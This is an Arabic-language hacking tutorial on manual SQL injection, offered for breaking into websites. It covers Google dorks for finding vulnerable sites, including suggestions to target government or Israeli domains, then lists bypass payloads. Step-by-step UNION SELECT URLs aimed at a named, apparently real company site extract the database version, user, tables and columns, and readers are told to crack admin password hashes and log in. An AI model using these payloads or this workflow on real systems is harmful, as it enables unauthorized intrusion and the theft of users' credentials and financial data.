الشامل في اختراق المواقع - الحقن اليدوي SQL INJECTION
ما هو الحقن SQL INJECTION:
الحقن هو إستغلال خطأ برمجي في قاعده البيانات لحقن بعض الجمل البرمجية التي تهدف إلى قراءة أو تغيير المعلومات الحساسة الموجودة بقاعدة البيانات Database مثل أرقام حسابات البنكية, أسماء المستخدمين وكلمات المرور والايميلات... . لأن ثغرة الحقن تمكن الهكر من اضافة أو تغيير أوامر برمجية مما يؤدي لتغير وظائف النظام وجعلها في خدمته.كيف تحدث هذه الثغرات؟
هذه الثغرات تحدث نتيجة لعدم مراقبة و تصفية مدخلات المستخدم inputs لبعض الحروف والرموز الخاصة (ESCAPE CHARACTERS) المضمنة داخل جمل لغة الاستعلام البنيوية، أو ان لا يتم تحديد نوعية المدخلات ان كانت نصية STRINGS ام عددية INTEGERS ...ما ذا يعني عدم تصفية مدخلات المستخدم ؟
سأعطيك مثال:هذه الجملة تبين كيف تحدث هذه الثغرة:
SELECT * FROM Users WHERE name = ' + UserName + ';هذه الجملة سوف تستدعي جميع السجلات الخاصة باسم المستخدم (UserName) من جدول (Users),
لكن إذا تم تغير المتغير (userName) بشكل معين وباستخدام الرمز الخاص ( ' ) من قبل المستخدم المخترق ( الهكر ), فمن الممكن لهذه الجملة ان تفعل أكثر مما هو محدد لها,
مثلا يمكن استبدال قيمة المتغير (userName) بالجملة الأتية:
a' or 't'='t'هذه المساوات دائما صحيحة TRUE
وبالتالي تصبح الجملة كالاتي:
SELECT * FROM users WHERE name = 'a' or 't'='t';أذا تم أستخدام الجملة السابقة للتأكد من هوية المستخدم أثناء تسجيل الدخول للموقع .
فمن الممكن اختراق الموقع بهذه الطريقة والحصول على الصلاحية لأن نتيجة المعادلة 't'='t' هي دائما صحيحة (TRUE)..
وبهذه الطريقة جعلنا أمر التحقق من اسم المستخدم صحيح, بدون معرفة اسم المستخدم.
ومثال أخر، لنفرض أن لديك لوحة تحكم أو تريد الدخول على منتدى أو موقع يتطلب اسم مستخدم وكلمة مرور ، هنا يستطيع الحاقن إدخال العبارة البرمجية الأتية في مكان اسم المستخدم وكلمة السر
" " password' OR '1'='1مما يمكن للحاقن بالدخول للنظام من دون أي كلمة سر.(طبعا في حال كانت المدخلات غير مفلترة)
ربما مللت من الكلام النظري ومن المصطلحات لكنها ضرورية لفهم ما يحدث من حولك, تابع معي طريقة العملية التي يسلكها الهكر لاختراق موقع
طريقة البحث عن مواقع مصابه بثغرة الحقن SQL INJECTION
لابد لنا من مواقع مصابه لكى نقوم بحقنها واستخراج البيانات الحساسه منها ولكي يتسنى لنا ذلك لابد من البحث عنها !السؤال يطرح نفسه كيف نقوم بذلك اقول وبالله التوفيق لابد ان يتوفر لنا دورك DORK + محرك بحث قوي مثل قوقل مع بعض المجهود فلنتابع!
هذه أمثلة على الدوركات DORKS:
·page.php?id=
·trainers.php?id=
·article.php?ID=
·games.php?id=
·newsDetail.php?id=
·staff.php?id=
·products.php?id=
·news_view.php?id=
·opinions.php?id=
·pages.php?id=
·prod_detail.php?id=
كيف تستخدم الدوركات DORKS في عملية البحث عن المواقع المصابة
يتم استخدامها بدمجها مع الاستعلام التالى :"inurl:."domain"/"dorks" "
"inurl:."domain"/"dorks" "التعليمة :Inurl وتعني ابحث بداخل رابط الموقع
ويمكن استبدالها باحد الكلمات التاليه
intitle:
intext:
define:
site:
info:
link:
التعليمة :Domain وتعني نوع المواقع المراد البحث عنها
من امثلتها :
.gov = Government websitesأو يمكن استخدام il بمعنى اساهداف مواقع اسرائيلية FR فرنسية ... الخ
.edu = Educational websites
.org = Organizational websites
.com = Commercial websites
.info = Informative websites
.net = Networking websites ( similar to .com)
تنويه:
مواقع GOV هي مواقع حكومية, لذلك يجب عليك عدم التهور والتجربة عليها, فسيعرضك العبث معها لعقوبات. وربما السجن لا قدر الله.
التعليمة : Dorks وتعني الدورك المستخدم من طرفنا
مثال تطبيقى على هذا الاستعلام
"inurl:.com/page.php?id="
بمعنى ابحث عن الروابط التى بها هذا الامتداد: =.com/page.php?id
نذهب الى محرك البحث قوقل ونكتب بها الأمر خاصتنا
"inurl:.com/page.php?id="
النتيجه
ظهرت عدة مواقع بالصفحه نبدأ بفحص الثغرة هل هي موجودة بها ام لا
طريقة الفحص سهلة جدا, افتح أي موقع من النتائج واضف له علامة التنصيص الفرديه كومه [ ' ] .في نهاية الرابط
بهذا الشكل
'www.marinaplast.com/page.php?id=13ونستطيع استبدال عالمة كومه [ ' ] بما ياتى ادناه(لأنه في بعض الحالات تكون مفلترة والموقع مصاب ولا يظهر بأنه مصاب)
"
/
*/
#
)
(
')
'(
and 1=1
and 1=2
and 1>2
and 1<=2
+and+1=1
+and+1=2
+and+1>2
+and+1<=2
/**/and/**/1=1
/**/and/**/1=2
/**/and/**/1>2
/**/and/**/1<=2
/**/or/**/1/**/=/**/1
/**/or/**/1/**/=/**/2
/**/or/**/1/**/>/**/2
/**/or/**/1/**/<=/**/2
and 50=50
and 50=52
and 50>52
and 50<=52
+and+50=50
+and+50=52
+and+50>52
+and+50<=52
بعد اضافة علامة التنصيص ' في نهاية الرابط , كيف نعرف بان الموقع مصاب ؟
الجواب ببساطة...
ان ظهر لك أي خطأ بالصفحة, فهذا يعني ان الموقع مصاب ويمكن اختراقه بسهولة
هذا نص للخطأ الذي يظهر :
MySQL Error: 1064 (You have an error in your SQL syntax; check the manual that corresponds to yourوهذه الأخطاء تختلف من قاعدة بيانات لأخرى ولكن لا يهمنا, ما يهمنا أنه يوجد خطأ وهذا يعني أن الموقع مصاب بثغرة الحقن SQLi.
MySQL server version for the right syntax to use near '\'' at line 1)
أمثله على اخطاء القواعد المختلفه
بعدما حصلنا على موقع مصاب بثغرة الحقن نبدأ الأن بالخطوة المهمة وهي عملية الحقن
MySQL server_database
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server
version for the right syntax
warning mysql_fetch_array() supplied argument is not a valid mysql result resource in
warning mysql_fetch_assoc() expects parameter 1 to be resource boolean given in
warning mysql_num_rows() expects parameter 1 to be resource boolean given
warning mysql_num_rows() supplied argument is not a valid mysql result resource in
warning mysql_fetch_assoc() supplied argument is not a valid mysql result resource in
warning mysql_connect() function.mysql-connect can't connect to mysql server on
warning mysql_result() expects parameter 1 to be resource boolean given in
mssql _databa se
warning mssql_connect() function.mssql-connect unable to connect to server
warning mssql_query function.mssql-query message invalid object name
warning mssql_pconnect function mssql pconnect unable connect server
MS-Access_database
Microsoft JET Database Engine error '80004005' Unspecified error
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC Microsoft Access Driver]
Oracle_database
Warning: oci_parse() [function.oci-parse]: ORA-01756
- استخدام الامر ORDER-BYلتحديد عدد الاعمده
الموقع المصاب :
www.marinaplast.com/page.php?id=13لكى نقوم بحقن الموقع لا بد لنا من معرفة عدد الاعمده التى تحتويها قاعدة بيانات هذا الموقع ولكى نعرف ذلك سوف نستخدم الاستعلام التالى ORDER-BYلتحديد عدد االعمده
بهذه الكيفيه ادناه:
خطاء www.marinaplast.com/page.php?id=13+ORDER+BY+100كما لاحظت نجرب الاعمدة من 100 وننزل حتى يختفي الخطأ.
خطاء www.marinaplast.com/page.php?id=13+ORDER+BY+50
خطاء www.marinaplast.com/page.php?id=13+ORDER+BY+25
خطاء www.marinaplast.com/page.php?id=13+ORDER+BY+20
خطاء www.marinaplast.com/page.php?id=13+ORDER+BY+15
خطاء www.marinaplast.com/page.php?id=13+ORDER+BY+10
خطاء www.marinaplast.com/page.php?id=13+ORDER+BY+7
اليوجد خطاء www.marinaplast.com/page.php?id=13+ORDER+BY+6
عندما وصلنا ل +ORDER+BY+6 اختفى الخطأ عند الرقم 6 اذن نستنتج من ذلك ان عدد الاعمده هو ستة.
ملحوظه :
ان لم بظهر خطاء عند استحدام ORDER+BY+100نستخدم مايسمى : String Injection
وننوه الى ان الحقن السابق يسمى : Integer Injection
ويتم ذلك :
باضافه علامة كومه [ ' ] بعد رقم المتغير سواء كان رقمى او نصى:
'/page.php?id=13واضافة علامة +--+فى نهاية الرابط:
'/page.php?id=gaza
/page.php?id=13'+ORDER+BY+100+--+مثال تطبيقى:
www.marinaplast.com/page.php?id=13'+ORDER+BY+100+--+ خطاء
www.marinaplast.com/page.php?id=13'+ORDER+BY+50+--+ خطاء
www.marinaplast.com/page.php?id=13'+ORDER+BY+25+--+ خطاء
www.marinaplast.com/page.php?id=13'+ORDER+BY+20+--+ خطاء
www.marinaplast.com/page.php?id=13'+ORDER+BY+15+--+ خطاء
www.marinaplast.com/page.php?id=13'+ORDER+BY+10+--+ خطاء
www.marinaplast.com/page.php?id=13'+ORDER+BY+7+--+ خطاء
www.marinaplast.com/page.php?id=13'+ORDER+BY+6+--+ لا يوجد خطاء
حيل لمعرفة عدد االعمده
- استخراج عدد االاعمده بأستعلام واحد مباشر
+order by
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37
,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,
71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99
- او
'+order by
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37
,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,
71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99 +--+
مثال تطبيقى :
www.marinaplast.com/page.php?id=13+order by
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37
,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,
71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99
ظهر الخطا التالي:
MySQL Error: 1054 (Unknown column '6' in 'order clause')
بمعنى العمود رقم 6 بالتالى عدد الاعمده يكون 5
- استخدام التعليمة UNION SELECTلإيجاد الأعمده المصابه
نقوم باستخدام الاستعلام التالى UNION SELECTبهذه الكيفيه.
http://www.marinaplast.com/page.php?id=13+union+select+1,2,3,4,5--ملحوظه :
- أولا : يجب انهاء الرابط باضافة [ [+--+اذا كانت القاعده STRING MÉTHODE
او اضافة العلامة [ [--اذا كانت القاعده INTEGER MÉTHODE
كالتالى:
+union+select+1,2,3,4,5 -
- ثانيا : وضع اشارة [ [-قبل رقم المتغير سواء كان رقمى او نصى لنخبر القاعده بتجاهل كل مايأتى بعدها كالتالى:
http://www.marinaplast.com/page.php?id=-13+union+select+1,2,3,4,5--او نحذف رقم المتغيرid=-13 ونضيف مكانه NULL
/page.php?id=NULLطرق متعدده لجعل الرابط سالب :
id=-1
id=null
id=1+and+false+
id=9999
id=1 and 0
id==1
id=1*0
بعد التجريب على موقع اخر
http://testphp.vulnweb.com/listproducts.php?cat=-1+union+select+1,2,3,4,5,6,7,8,9,10,11--
ظهر لنا الاعمدة المصابة وهي كثيرة العمود 11 و 2 و 7
في الموقع الذي وضعت عليه الشرح ظهر لنا العمود المصاب وهو رقم ثلاثه 3
ملحوظه :
فى حالة ان رقم العمود المصاب لم يظهر بالصفحه .نضيف قبل union selectاحد االاستعلامات الاتيه:
+AND+1=0بعد معرفة العمود المصاب (3) نبدأ بمرحلة الحقن و استخراج المعلومات الحساسة من القاعدة
/*!aND*/ 1 like 0
+/*!and*/+1=0
+and+2>3+
)+and(1)=(0
)and (1)!=(1
+div+0
حقن الموقع و استخراج البيانات من القاعده
نعود لمثالنا السابق (الموقع الضحية)http://www.marinaplast.com/page.php?id=-13+union+select+1,2,3,4,5--
بعدما عرفنا رقم العمود المصاب وهو العمود الثالث
- نقوم باستخراج اصدار قاعدة البيانات version
version()مثال:
@@version
http://www.marinaplast.com/page.php?id=-13+union+select+1,2,3,4,5 --
http://www.marinaplast.com/page.php?id=-13+union+select+1,2,version(),4,5 --
ظهر لنا بالصفحة اصدار القاعده 5.1.73-0ubuntu0.10.04.1
وهو الاصدار 5 الذى تستخدم معه اوامر استخراج البيانات, بعكس االصدار الرابع 4 من القاعده الذى ال ينفع معه الا التخمين وهو متعب فى حالة تعذر استخدام االستعالم ()version
يمكننا استبداله بــ
)convert(version() using latin1
)))(unhex(hex(version
@@GLOBAL.VERSION
(substr(@@version,1,1)=5) :: 1 true 0 false
- ثانيا :استخراج اسم قاعده البيانات:
نقوم بكتابة أحد هذه الاوامر في مكان العمود المصاب (بنفس الطريقة دائما)
DB_NAME()
@@database
database()
مثال لتطبيق الامر
http://www.marinaplast.com/page.php?id=-13 union select 1,2,database(),4,5--
- ثالثا : استخراج أسم المستخدم USER:
قم بوضع أحد الأوامر الاتية مكان العمود المصاب
@@userتطبيق عملى (وضعنا user) مكان العمود المصاب الثالث
user()
user_name()
system_user()
http://www.marinaplast.com/page.php?id=-13 union select 1,2,user(),4,5 --
في هذه المرحلة سنحتاج استخراج جميع الجداول الموجودة بقاعدة البيانات
لماذا نحتاج استخراج اسماء الجداول Tables ؟
نحتاج استخراج جميع الجداول حتى نحصل على جدول لاسماء المستخدمين المسجلين بالموقع او المنتدى وبعدها نستخرج كلمات المرور الخاصة بهم والحسابات البنكية ان كانت مسجلة وكان موقع تجاري الطريقة كما يلي:
- كيفية استخراج الجداول Tables
ضع هذا الأمر مكان العامود المصاب
group_concat(table_name)بهذا الشكل
http://www.marinaplast.com/page.php?id=-13 union select 1,2,group_concat(table_name),4,5
وضع هذا الأمر في نهاية الرابط
+from+information_schema.tables+where+table_schema=database()--ليصبح الأمر بهذا الشكل
http://www.marinaplast.com/page.php?id=-13 union select 1,2,group_concat(table_name),4,5+from+information_schema.tables+where+table_schema=database()--
ومعنى هذا الاستعلام كاملا هو: قم باستخراج مجموعة الجداول group concat من مخطط schema قاعدة البيانات database الخاصة بالموقع
أمر استخراج اسماء الأعمدة column_nameيوضع هذا الأمر مكان العمود المصاب في مثالنا هو العمود 3
group_concat(column_name)ويوضع هذا الأمر في نهاية الرابط
+from+information_schema.columns+where+table_schema=database()--ليصبح الرابط كاملا بهذا الشكل
http://www.marinaplast.com/page.php?id=-13+union+select+1,2,group_concat(column_name),4,5+from+information_schema.columns+where+table_schema=database()--
الان نستخرج اسماء المستخدمين وكلمات المرور من الجدول الخاص بهم وهو يختلف من موقع لاخر, وتجد اسم الجدول هكذا:
admin(s), user(s), member(s), admin_tbl, user_tbl, member_tbl
بعدها توجه لموقع فك الهاش وقم بفك كلمة المرور وادخل على الموقع.
في الدروس القادمة ان شاء الله سأضع مثال تطبيقي لاختراق موقع بشكل تطبيقي
في أمان الله